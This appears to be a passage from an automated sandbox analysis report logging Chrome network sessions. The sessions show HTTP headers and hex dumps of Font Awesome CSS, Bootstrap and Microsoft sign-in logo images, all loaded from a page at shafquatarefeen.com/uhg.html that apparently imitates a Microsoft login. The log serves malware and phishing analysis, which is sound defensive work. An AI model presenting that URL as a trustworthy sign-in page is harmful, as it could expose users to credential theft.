72 6d 6f 6d 65 74 65 72 2d 33 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 74 68 72 65 
65 2d 71 75 61 72 74 65 72 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 63 38 22 3b 0
a 7d 0a 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 32 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 68 65 72 6d 6f 6d 
65 74 65 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 63 39 22 3b 0a 
7d 0a 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 31 3a 62 65 66 
Data Ascii: mometer:before,.fa-thermometer-full:before {  content: "\f2c7";}.fa-thermometer-3:before,.fa-thermometer-three-
quarters:before {  content: "\f2c8";}.fa-thermometer-2:before,.fa-thermometer-half:before {  content: "\f2c9";}.fa-th
ermometer-1:bef

2022-07-01 09:00:49 UTC 771 IN Data Raw: 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 20 20 
70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 2d 31 70 78 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 
20 68 69 64 64 65 6e 3b 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 20 20 62 6f 7
2 64 65 72 3a 20 30 3b 0a 7d 0a 2e 73 72 2d 6f 6e 6c 79 2d 66 6f 63 75 73 61 62 6c 65 3a 61 63 74 69 76 65 2c 0a 2e 73 
72 2d 6f 6e 6c 79 2d 66 6f 63 75 73 61 62 6c 65 3a 66 6f 63 75 73 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 
74 69 63 3b 0a 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 6d 
61 72 67 69 6e 3a 20 30 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 
Data Ascii: te;  width: 1px;  height: 1px;  padding: 0;  margin: -1px;  overflow: hidden;  clip: rect(0, 0, 0, 0);  border: 0;}.sr-
only-focusable:active,.sr-only-focusable:focus {  position: static;  width: auto;  height: auto;  margin: 0;  overflow: v

2022-07-01 09:00:49 UTC 772 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 192.168.2.5 49788 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 840 OUT GET /ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 192.168.2.5 49785 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 841 OUT GET /bootstrap/3.3.7/js/bootstrap.min.js HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
Origin: https://shafquatarefeen.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 192.168.2.5 49789 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 841 OUT GET /ests/2.1/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad73.svg HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 192.168.2.5 49790 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 842 OUT GET /font-awesome/4.7.0/css/font-awesome.min.css HTTP/1.1
Host: stackpath.bootstrapcdn.com
Connection: keep-alive
Origin: https://shafquatarefeen.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: style
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.5 49733 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 71 OUT GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-
7c3422ab3313?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:34 UTC 71 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1493
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY"
MS-CV: WqthG07BiE+6pHh5.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 71 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e 
b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 
ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 
2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 
ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 
57 cb 80 7f d7 9e f4 fb f6 42 
Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS|Iud\WB

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 152.199.23.37 443 192.168.2.5 49788 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 842 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 13692
Cache-Control: public, max-age=604800
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 01 Jul 2022 09:00:49 GMT
Etag: 0x8D64101507E84BD
Last-Modified: Fri, 02 Nov 2018 20:25:22 GMT
Server: ECAcc (frc/8F3A)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 2c0f688c-501e-0003-5d09-8d2de5000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-07-01 09:00:49 UTC 843 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 152.199.23.37 443 192.168.2.5 49789 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 847 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 338606
Cache-Control: public, max-age=604800
Content-MD5: HMwsHhNXdtrfirQDkzcqMA==
Content-Type: image/svg+xml
Date: Fri, 01 Jul 2022 09:00:49 GMT
Etag: 0x8D641014CC1CD9F
Last-Modified: Fri, 02 Nov 2018 20:25:15 GMT
Server: ECAcc (frc/8FE7)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: fde8f45f-401e-0009-5e14-8a07a7000000
x-ms-version: 2009-09-19
Content-Length: 915
Connection: close

2022-07-01 09:00:49 UTC 847 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 66 66 66 66 66 66 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#ffffff" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 104.18.10.207 443 192.168.2.5 49790 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 848 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: text/css; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=31919000
ETag: W/"269550530cc127b6aa5a35925a7de6ce"
Last-Modified: Mon, 25 Jan 2021 22:04:55 GMT
CDN-CachedAt: 03/12/2022 14:32:07
CDN-ProxyVer: 1.02
CDN-RequestPullCode: 200
CDN-RequestPullSuccess: True
CDN-EdgeStorageId: 723
CDN-Status: 200
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff
CDN-RequestId: 7e7b81dd14f3258c35786fb02c0e17ca
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 245205
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 723df4187d92912a-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 09:00:49 UTC 849 IN Data Raw: 31 66 30 36 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 
40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 
6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 
6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 
49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 
46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 
6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 37 
Data Ascii: 1f06/*! *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome *  License - ht
tp://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('../fon
ts/fontawesome-webfont.eot?v=4.7
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2022-07-01 09:00:49 UTC 849 IN Data Raw: 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 75 72 6c 
28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 
2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 
74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 
77 6f 66 66 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 
2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 75 72 6c 28 27 
2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 
Data Ascii: .0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../f
onts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'
),url('../fonts/fontawesome

2022-07-01 09:00:49 UTC 851 IN Data Raw: 6d 61 74 69 6f 6e 3a 66 61 2d 73 70 69 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 20 73 74 65 70 73 28 38 29 
3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 2d 73 70 69 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 20 73 74 65 70 73 28 38 29 
7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 
74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 
30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 
64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 
65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 
Data Ascii: mation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-we
bkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359d
eg)}}@keyframes fa-spin{0%{-webkit-tr

2022-07-01 09:00:49 UTC 852 IN Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 
63 6b 3b 77 69 64 74 68 3a 32 65 6d 3b 68 65 69 67 68 74 3a 32 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 65 6d 
3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 66 61 2d 73 74 61 63 6b 2d 31 78 2c 2e 66 61 
2d 73 74 61 63 6b 2d 32 78 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 
3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 61 2d 73 74 61 63 6b 2d 31 78 7b 6c 69 
6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 2e 66 61 2d 73 74 61 63 6b 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 
65 3a 32 65 6d 7d 2e 66 61 2d 69 6e 76 65 72 73 65 7b 63 6f 6c 6f 72 
Data Ascii: position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-
1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-
size:2em}.fa-inverse{color

2022-07-01 09:00:49 UTC 853 IN Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 65 22 7d 2e 66 61 2d 72 65 66 72 65 73 68 3a 62 65 66 6f 
72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 31 22 7d 2e 66 61 2d 6c 69 73 74 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 
63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 32 22 7d 2e 66 61 2d 6c 6f 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 
22 5c 66 30 32 33 22 7d 2e 66 61 2d 66 6c 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 34 22 
7d 2e 66 61 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 35 22 7d 2
e 66 61 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 36 22 7d 2e 66 6
1 2d 76 6f 6c 75 6d 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 
Data Ascii: ore{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f
023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-vol
ume-down:before{c

2022-07-01 09:00:49 UTC 855 IN Data Raw: 5c 66 30 34 35 22 7d 2e 66 61 2d 63 68 65 63 6b 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 30 34 36 22 7d 2e 66 61 2d 61 72 72 6f 77 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 
22 5c 66 30 34 37 22 7d 2e 66 61 2d 73 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 
74 3a 22 5c 66 30 34 38 22 7d 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 6
5 6e 74 3a 22 5c 66 30 34 39 22 7d 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 
22 5c 66 30 34 61 22 7d 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 62 22 
7d 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
Data Ascii: \f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{
content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f
04b"}.fa-pause:before{conte

2022-07-01 09:00:49 UTC 856 IN Data Raw: 3a 22 5c 66 30 36 62 22 7d 2e 66 61 2d 6c 65 61 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 
30 36 63 22 7d 2e 66 61 2d 66 69 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 64 22 7d 2e 66 
61 2d 65 79 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 65 22 7d 2e 66 61 2d 65 79 65 2d 73 6c 
61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 30 22 7d 2e 66 61 2d 77 61 72 6e 69 6e 67 3a 6
2 65 66 6f 72 65 2c 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 3a 62 65 66 6f 72 65 7b 63 
6f 6e 74 65 6e 74 3a 22 5c 66 30 37 31 22 7d 2e 66 61 2d 70 6c 61 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 
3a 22 5c 66 30 37 32 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 3a 62 
Data Ascii: :"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-
slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{con
tent:"\f072"}.fa-calendar:b

2022-07-01 09:00:49 UTC 857 IN Data Raw: 35 61 31 32 0d 0a 62 6f 6f 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 
30 38 32 22 7d 2e 66 61 2d 63 61 6d 65 72 61 2d 72 65 74 72 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 
30 38 33 22 7d 2e 66 61 2d 6b 65 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 34 22 7d 2e 66 61 
2d 67 65 61 72 73 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 63 6f 67 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 
66 30 38 35 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 
36 22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 37 
22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 
Data Ascii: 5a12book-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084
"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\
f087"}.fa-thumbs-o-down:b

2022-07-01 09:00:49 UTC 858 IN Data Raw: 66 30 61 37 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 
6f 6e 74 65 6e 74 3a 22 5c 66 30 61 38 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 
65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 
70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 
6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 62 22 7d 2e 66 61 2d 67 6c 6f 62 65 
3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 63 22 7d 2e 66 61 2d 77 72 65 6e 63 68 3a 62 65 66 6f 7
2 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 64 22 7d 2e 66 61 
Data Ascii: f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-
up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{co
ntent:"\f0ad"}.fa
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2022-07-01 09:00:49 UTC 860 IN Data Raw: 30 64 38 22 7d 2e 66 61 2d 63 61 72 65 74 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 
5c 66 30 64 39 22 7d 2e 66 61 2d 63 61 72 65 74 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 
